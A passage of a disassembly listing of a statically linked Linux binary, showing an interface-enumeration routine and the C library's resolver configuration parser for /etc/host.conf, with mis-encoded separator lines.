[ebp+var_164] cmp word ptr [edi+20h], 2 jnz short loc_804A8AB mov edi, [ebp+var_160] mov esi, [edi+20h] push ebx push 8915h mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_804A8AB mov edi, [ebp+var_15C] cmp word ptr [edi+20h], 2 jnz short loc_804A8AB mov edi, [ebp+var_158] mov edx, [edi+20h] and edx, esi jz short loc_804A8AB mov eax, ds:dword_80793B0 mov [eax+10h], edx mov [eax+14h], esi cmp dword_8078524, 0FFFFFFFFh jnz short loc_804A89E mov dword_8078524, 0 loc_804A89E: ; CODE XREF: sub_804A5CC+2C6j add ds:dword_80793B0, 18h inc dword_8078524 loc_804A8AB: ; CODE XREF: sub_804A5CC+268j ; sub_804A5CC+275j ... add [ebp+var_158], 40h add [ebp+var_15C], 40h add [ebp+var_160], 40h add [ebp+var_164], 40h add [ebp+var_168], 40h add [ebp+var_154], 0FFFFFFFEh jnz loc_804A764 loc_804A8DB: ; CODE XREF: sub_804A5CC+B3j ; sub_804A5CC+175j mov edi, [ebp+var_150] push edi call __libc_close add esp, 4 cmp dword_8078524, 0 jz loc_804A9C9 loc_804A8F7: ; CODE XREF: sub_804A5CC+2Aj mov edi, [ebp+arg_0] mov ebx, [edi+10h] test ebx, ebx jz loc_804A9C9 lea esi, [ebp+var_14C] nop loc_804A90C: ; CODE XREF: sub_804A5CC+3F7j cmp dword ptr [ebx], 0 jz loc_804A9C9 mov ds:dword_80793B0, offset unk_80792C0 mov ecx, dword_8078524 test ecx, ecx jz loc_804A9C0 mov eax, ecx and eax, 1 test ecx, ecx jle short loc_804A93A test eax, eax jz short loc_804A958 loc_804A93A: ; CODE XREF: sub_804A5CC+368j mov eax, [ebx] mov edx, ds:dword_80793B0 mov eax, [eax] and eax, [edx+14h] cmp [edx+10h], eax jz short loc_804A983 add ds:dword_80793B0, 18h dec ecx jz short loc_804A9C0 lea esi, [esi] loc_804A958: ; CODE XREF: sub_804A5CC+36Cj ; sub_804A5CC+3F2j mov eax, [ebx] mov edx, ds:dword_80793B0 mov eax, [eax] and eax, [edx+14h] cmp [edx+10h], eax jz short loc_804A983 add ds:dword_80793B0, 18h mov eax, [ebx] mov edx, ds:dword_80793B0 mov eax, [eax] and eax, [edx+14h] cmp [edx+10h], eax jnz short loc_804A9B4 loc_804A983: ; CODE XREF: sub_804A5CC+37Ej ; sub_804A5CC+39Cj push 4 push esi mov edi, [ebp+arg_0] mov eax, [edi+10h] mov eax, [eax] push eax call bcopy push 4 mov eax, [edi+10h] mov eax, [eax] push eax mov eax, [ebx] push eax call bcopy push 4 mov eax, [ebx] push eax push esi call bcopy jmp short loc_804A9C9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804A9B4: ; CODE XREF: sub_804A5CC+3B5j add ds:dword_80793B0, 18h add ecx, 0FFFFFFFEh jnz short loc_804A958 loc_804A9C0: ; CODE XREF: sub_804A5CC+35Bj ; sub_804A5CC+388j add ebx, 4 jnz loc_804A90C loc_804A9C9: ; CODE XREF: sub_804A5CC+13j ; sub_804A5CC+1Dj ... lea esp, [ebp+var_174] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804A5CC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame init_services proc near ; CODE XREF: .text:0804BEBFp ; gethostbyname+E1p ... var_420 = byte ptr -420h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h var_3FC = byte ptr -3FCh var_3FB = byte ptr -3FBh var_3F9 = byte ptr -3F9h push ebp mov ebp, esp sub esp, 414h push edi push esi push ebx xor esi, esi mov [ebp+var_408], offset unk_807A358 call libc_nls_init push offset aResolv_host_co ; "RESOLV_HOST_CONF" call getenv mov [ebp+var_40C], eax add esp, 4 test eax, eax jnz short loc_804AA16 mov [ebp+var_40C], offset aEtcHost_conf ; "/etc/host.conf" loc_804AA16: ; CODE XREF: init_services+32j push offset aR ; "r" mov eax, [ebp+var_40C] push eax call _IO_fopen mov [ebp+var_404], eax add esp, 8 test eax, eax jnz short loc_804AA50 mov ds:dword_8079DD4, 1 mov ds:dword_8079DD8, 0 jmp loc_804B436 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AA50: ; CODE XREF: init_services+5Aj lea ecx, [ebp+var_400] mov [ebp+var_410], ecx loc_804AA5C: ; CODE XREF: init_services+CAj ; init_services+EFj ... mov eax, [ebp+var_404] push eax push 400h mov ecx, [ebp+var_410] push ecx call _IO_fgets mov edx, eax add esp, 0Ch test edx, edx jz loc_804B41C push 0Ah mov eax, [ebp+var_410] push eax call rindex mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804AA9B mov byte ptr [ebx], 0 loc_804AA9B: ; CODE XREF: init_services+BEj cmp [ebp+var_400], 23h jz short loc_804AA5C lea ebx, [ebp+var_400] cmp [ebp+var_400], 0 jz short loc_804AACE mov edx, dword_8078FA0 lea esi, [esi+0] loc_804AABC: ; CODE XREF: init_services+F4j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804AACE inc ebx jz short loc_804AA5C cmp byte ptr [ebx], 0 jnz short loc_804AABC loc_804AACE: ; CODE XREF: init_services+D9j ; init_services+ECj test ebx, ebx jz short loc_804AA5C cmp byte ptr [ebx], 0 jz short loc_804AA5C mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx push edx push ebx mov eax, [ebp+var_410] push eax call memmove push 5 push offset aOrder ; "order" mov ecx, [ebp+var_410] push ecx call strncasecmp mov edx, eax add esp, 18h test edx, edx jnz loc_804AD64 cmp [ebp+var_3FB], 0 jz short loc_804AB3B movzx edx, [ebp+var_3FB] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804AD64 loc_804AB3B: ; CODE XREF: init_services+14Aj push offset asc_806791B ; " \t" mov eax, [ebp+var_410] push eax call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804AB5B cmp byte ptr [ebx+1], 0 jnz short loc_804AB7D loc_804AB5B: ; CODE XREF: init_services+17Bj push offset aOrder ; "order" mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax jmp loc_804B3AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AB7C: ; CODE XREF: init_services+1A8j ; init_services+1ADj inc ebx loc_804AB7D: ; CODE XREF: init_services+181j ; init_services+321j cmp byte ptr [ebx], 20h jz short loc_804AB7C cmp byte ptr [ebx], 9 jz short loc_804AB7C push offset asc_8067950 ; " ,;:" push ebx call strpbrk mov edi, eax add esp, 8 test edi, edi jz short loc_804AB9E mov byte ptr [edi], 0 loc_804AB9E: ; CODE XREF: init_services+1C1j push 4 push offset aBind ; "bind" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804ABEC cmp byte ptr [ebx+4], 0 jz short loc_804ABC8 movzx edx, byte ptr [ebx+4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804ABEC loc_804ABC8: ; CODE XREF: init_services+1DEj mov ds:dword_8079DD4[esi*4], 1 inc esi test byte ptr dword_807854C, 1 jnz loc_804ACF0 call res_init jmp loc_804ACF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804ABEC: ; CODE XREF: init_services+1D8j ; init_services+1EEj push 5 push offset aHosts ; "hosts" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804AC28 cmp byte ptr [ebx+5], 0 jz short loc_804AC16 movzx edx, byte ptr [ebx+5] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AC28 loc_804AC16: ; CODE XREF: init_services+22Cj mov ds:dword_8079DD4[esi*4], 2 inc esi jmp loc_804ACF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AC28: ; CODE XREF: init_services+226j ; init_services+23Cj push 3 push offset aNis ; "nis" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804AC64 cmp byte ptr [ebx+3], 0 jz short loc_804AC52 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AC64 loc_804AC52: ; CODE XREF: init_services+268j mov ds:dword_8079DD4[esi*4], 3 inc esi jmp loc_804ACF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AC64: ; CODE XREF: init_services+262j ; init_services+278j push offset aOrder ; "order" mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf push ebx push offset aResolvSIsAnInv ; "resolv+: \"%s\" is an invalid keyword\n" push 0Dh push 0Bh mov ecx, dword_8078F9C push ecx call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf push offset aNis ; "nis" push offset aHosts ; "hosts" push offset aBind ; "bind" push offset aResolvValidKey ; "resolv+: valid keywords are: %s, %s and"... push 0Eh push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf add esp, 30h loc_804ACF0: ; CODE XREF: init_services+203j ; init_services+20Ej ... test edi, edi jz short loc_804ACFF lea ebx, [edi+1] test ebx, ebx jnz loc_804AB7D loc_804ACFF: ; CODE XREF: init_services+31Aj test esi, esi jnz loc_804AA5C push offset aOrder ; "order" mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf push offset aResolvSearchOr ; "resolv+: search order not specified or "... push 0Fh push 0Bh mov ecx, dword_8078F9C push ecx call sub_805E584 mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf add esp, 28h jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AD64: ; CODE XREF: init_services+13Dj ; init_services+15Dj push 5 push offset aMulti ; "multi" mov eax, [ebp+var_410] push eax call strncasecmp mov edx, eax add esp, 0Ch test edx, edx jnz loc_804AEA8 cmp [ebp+var_3FB], 0 jz short loc_804ADA4 movzx edx, [ebp+var_3FB] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804AEA8 loc_804ADA4: ; CODE XREF: init_services+3B3j push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804AE9C cmp byte ptr [ebx], 0 jz short loc_804ADE6 mov edx, dword_8078FA0 lea esi, [esi+0] loc_804ADD0: ; CODE XREF: init_services+40Cj movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804ADE6 inc ebx jz loc_804AE9C cmp byte ptr [ebx], 0 jnz short loc_804ADD0 loc_804ADE6: ; CODE XREF: init_services+3EDj ; init_services+400j test ebx, ebx jz loc_804AE9C cmp byte ptr [ebx], 0 jz loc_804AE9C mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804AE44 push 2 push offset aOn ; "on" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804AE44 cmp byte ptr [ebx+2], 0 jz short loc_804AE32 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AE44 loc_804AE32: ; CODE XREF: init_services+448j mov dword_8078510, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AE44: ; CODE XREF: init_services+42Ej ; init_services+442j ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804AE90 push 3 push offset aOff ; "off" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804AE90 cmp byte ptr [ebx+3], 0 jz short loc_804AE7F movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AE90 loc_804AE7F: ; CODE XREF: init_services+495j mov dword_8078510, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AE90: ; CODE XREF: init_services+47Bj ; init_services+48Fj ... push offset aMulti ; "multi" jmp loc_804B261 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AE9C: ; CODE XREF: init_services+3E4j ; init_services+403j ... push offset aMulti ; "multi" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AEA8: ; CODE XREF: init_services+3A6j ; init_services+3C6j push 7 push offset aNospoof ; "nospoof" mov eax, [ebp+var_410] push eax call strncasecmp mov edx, eax add esp, 0Ch test edx, edx jnz loc_804AFEC cmp [ebp+var_3F9], 0 jz short loc_804AEE8 movzx edx, [ebp+var_3F9] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804AFEC loc_804AEE8: ; CODE XREF: init_services+4F7j push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804AFE0 cmp byte ptr [ebx], 0 jz short loc_804AF2A mov edx, dword_8078FA0 lea esi, [esi+0] loc_804AF14: ; CODE XREF: init_services+550j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804AF2A inc ebx jz loc_804AFE0 cmp byte ptr [ebx], 0 jnz short loc_804AF14 loc_804AF2A: ; CODE XREF: init_services+531j ; init_services+544j test ebx, ebx jz loc_804AFE0 cmp byte ptr [ebx], 0 jz loc_804AFE0 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804AF88 push 2 push offset aOn ; "on" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804AF88 cmp byte ptr [ebx+2], 0 jz short loc_804AF76 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AF88 loc_804AF76: ; CODE XREF: init_services+58Cj mov dword_8078514, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AF88: ; CODE XREF: init_services+572j ; init_services+586j ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804AFD4 push 3 push offset aOff ; "off" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804AFD4 cmp byte ptr [ebx+3], 0 jz short loc_804AFC3 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804AFD4 loc_804AFC3: ; CODE XREF: init_services+5D9j mov dword_8078514, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AFD4: ; CODE XREF: init_services+5BFj ; init_services+5D3j ... push offset aNospoof ; "nospoof" jmp loc_804B261 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AFE0: ; CODE XREF: init_services+528j ; init_services+547j ... push offset aNospoof ; "nospoof" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804AFEC: ; CODE XREF: init_services+4EAj ; init_services+50Aj push 5 push offset aAlert ; "alert" mov eax, [ebp+var_410] push eax call strncasecmp mov edx, eax add esp, 0Ch test edx, edx jnz loc_804B130 cmp [ebp+var_3FB], 0 jz short loc_804B02C movzx edx, [ebp+var_3FB] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804B130 loc_804B02C: ; CODE XREF: init_services+63Bj push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804B124 cmp byte ptr [ebx], 0 jz short loc_804B06E mov edx, dword_8078FA0 lea esi, [esi+0] loc_804B058: ; CODE XREF: init_services+694j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804B06E inc ebx jz loc_804B124 cmp byte ptr [ebx], 0 jnz short loc_804B058 loc_804B06E: ; CODE XREF: init_services+675j ; init_services+688j test ebx, ebx jz loc_804B124 cmp byte ptr [ebx], 0 jz loc_804B124 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804B0CC push 2 push offset aOn ; "on" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B0CC cmp byte ptr [ebx+2], 0 jz short loc_804B0BA movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B0CC loc_804B0BA: ; CODE XREF: init_services+6D0j mov dword_8078518, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B0CC: ; CODE XREF: init_services+6B6j ; init_services+6CAj ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804B118 push 3 push offset aOff ; "off" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B118 cmp byte ptr [ebx+3], 0 jz short loc_804B107 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B118 loc_804B107: ; CODE XREF: init_services+71Dj mov dword_8078518, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B118: ; CODE XREF: init_services+703j ; init_services+717j ... push offset aAlert ; "alert" jmp loc_804B261 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B124: ; CODE XREF: init_services+66Cj ; init_services+68Bj ... push offset aAlert ; "alert" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B130: ; CODE XREF: init_services+62Ej ; init_services+64Ej push 7 push offset aReorder ; "reorder" mov eax, [ebp+var_410] push eax call strncasecmp mov edx, eax add esp, 0Ch test edx, edx jnz loc_804B2C8 cmp [ebp+var_3F9], 0 jz short loc_804B170 movzx edx, [ebp+var_3F9] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804B2C8 loc_804B170: ; CODE XREF: init_services+77Fj push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804B2BC cmp byte ptr [ebx], 0 jz short loc_804B1B2 mov edx, dword_8078FA0 lea esi, [esi+0] loc_804B19C: ; CODE XREF: init_services+7D8j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804B1B2 inc ebx jz loc_804B2BC cmp byte ptr [ebx], 0 jnz short loc_804B19C loc_804B1B2: ; CODE XREF: init_services+7B9j ; init_services+7CCj test ebx, ebx jz loc_804B2BC cmp byte ptr [ebx], 0 jz loc_804B2BC mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804B210 push 2 push offset aOn ; "on" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B210 cmp byte ptr [ebx+2], 0 jz short loc_804B1FE movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B210 loc_804B1FE: ; CODE XREF: init_services+814j mov dword_807851C, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B210: ; CODE XREF: init_services+7FAj ; init_services+80Ej ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804B25C push 3 push offset aOff ; "off" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B25C cmp byte ptr [ebx+3], 0 jz short loc_804B24B movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B25C loc_804B24B: ; CODE XREF: init_services+861j mov dword_807851C, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B25C: ; CODE XREF: init_services+847j ; init_services+85Bj ... push offset aReorder ; "reorder" loc_804B261: ; CODE XREF: init_services+4BDj ; init_services+601j ... mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf push ebx push offset aResolvSIsAnInv ; "resolv+: \"%s\" is an invalid keyword\n" push 0Dh push 0Bh mov ecx, dword_8078F9C push ecx call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf add esp, 1Ch jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B2BC: ; CODE XREF: init_services+7B0j ; init_services+7CFj ... push offset aReorder ; "reorder" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B2C8: ; CODE XREF: init_services+772j ; init_services+792j push 4 push offset aTrim ; "trim" mov eax, [ebp+var_410] push eax call strncasecmp mov edx, eax add esp, 0Ch test edx, edx jnz loc_804B3CC cmp [ebp+var_3FC], 0 jz short loc_804B308 movzx edx, [ebp+var_3FC] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804B3CC loc_804B308: ; CODE XREF: init_services+917j cmp dword_8078520, 3 jg loc_804AA5C push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804B390 jmp short loc_804B335 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B334: ; CODE XREF: init_services+960j ; init_services+965j inc ebx loc_804B335: ; CODE XREF: init_services+957j cmp byte ptr [ebx], 20h jz short loc_804B334 cmp byte ptr [ebx], 9 jz short loc_804B334 cmp byte ptr [ebx], 0 jz short loc_804B390 push ebx mov eax, [ebp+var_408] push eax call strcpy mov eax, [ebp+var_408] mov ecx, dword_8078520 mov ds:dword_807A348[ecx*4], eax inc dword_8078520 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx add [ebp+var_408], edx add esp, 8 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B390: ; CODE XREF: init_services+955j ; init_services+96Aj push offset aTrim ; "trim" loc_804B395: ; CODE XREF: init_services+4C9j ; init_services+60Dj ... mov eax, [ebp+var_40C] push eax push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov ecx, dword_8078F9C push ecx loc_804B3AC: ; CODE XREF: init_services+19Ej call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf add esp, 10h jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B3CC: ; CODE XREF: init_services+90Aj ; init_services+92Aj push offset asc_806791B ; " \t" mov eax, [ebp+var_410] push eax call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804B3E9 mov byte ptr [ebx], 0 loc_804B3E9: ; CODE XREF: init_services+A0Cj mov ecx, [ebp+var_410] push ecx push offset aResolvSIsAnInv ; "resolv+: \"%s\" is an invalid keyword\n" push 0Dh push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h mov edx, eax push edx push offset unk_80787A4 call _IO_fprintf add esp, 0Ch jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B41C: ; CODE XREF: init_services+A3j mov ds:dword_8079DD4[esi*4], 0 mov ecx, [ebp+var_404] push ecx call _IO_fclose add esp, 4 loc_804B436: ; CODE XREF: init_services+70j push offset aResolv_serv_or ; "RESOLV_SERV_ORDER" call getenv mov ebx, eax add esp, 4 test ebx, ebx jz loc_804B542 xor esi, esi push offset asc_8067950 ; " ,;:" push ebx call strtok mov ebx, eax add esp, 8 test ebx, ebx jz loc_804B542 nop loc_804B468: ; CODE XREF: init_services+B59j push 4 push offset aBind ; "bind" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B4B0 cmp byte ptr [ebx+4], 0 jz short loc_804B492 movzx edx, byte ptr [ebx+4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B4B0 loc_804B492: ; CODE XREF: init_services+AA8j mov ds:dword_8079DD4[esi*4], 1 inc esi test byte ptr dword_807854C, 1 jnz short loc_804B51E call res_init jmp short loc_804B51E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B4B0: ; CODE XREF: init_services+AA2j ; init_services+AB8j push 5 push offset aHosts ; "hosts" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B4E8 cmp byte ptr [ebx+5], 0 jz short loc_804B4DA movzx edx, byte ptr [ebx+5] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B4E8 loc_804B4DA: ; CODE XREF: init_services+AF0j mov ds:dword_8079DD4[esi*4], 2 jmp short loc_804B51D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B4E8: ; CODE XREF: init_services+AEAj ; init_services+B00j push 3 push offset aNis ; "nis" push ebx call strncasecmp add esp, 0Ch test eax, eax jnz short loc_804B51E cmp byte ptr [ebx+3], 0 jz short loc_804B512 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B51E loc_804B512: ; CODE XREF: init_services+B28j mov ds:dword_8079DD4[esi*4], 3 loc_804B51D: ; CODE XREF: init_services+B0Dj inc esi loc_804B51E: ; CODE XREF: init_services+ACDj ; init_services+AD4j ... push offset asc_8067950 ; " ,;:" push 0 call strtok mov ebx, eax add esp, 8 test ebx, ebx jnz loc_804B468 mov ds:dword_8079DD4[esi*4], 0 loc_804B542: ; CODE XREF: init_services+A6Fj ; init_services+A89j push offset aResolv_spoof_c ; "RESOLV_SPOOF_CHECK" call getenv mov 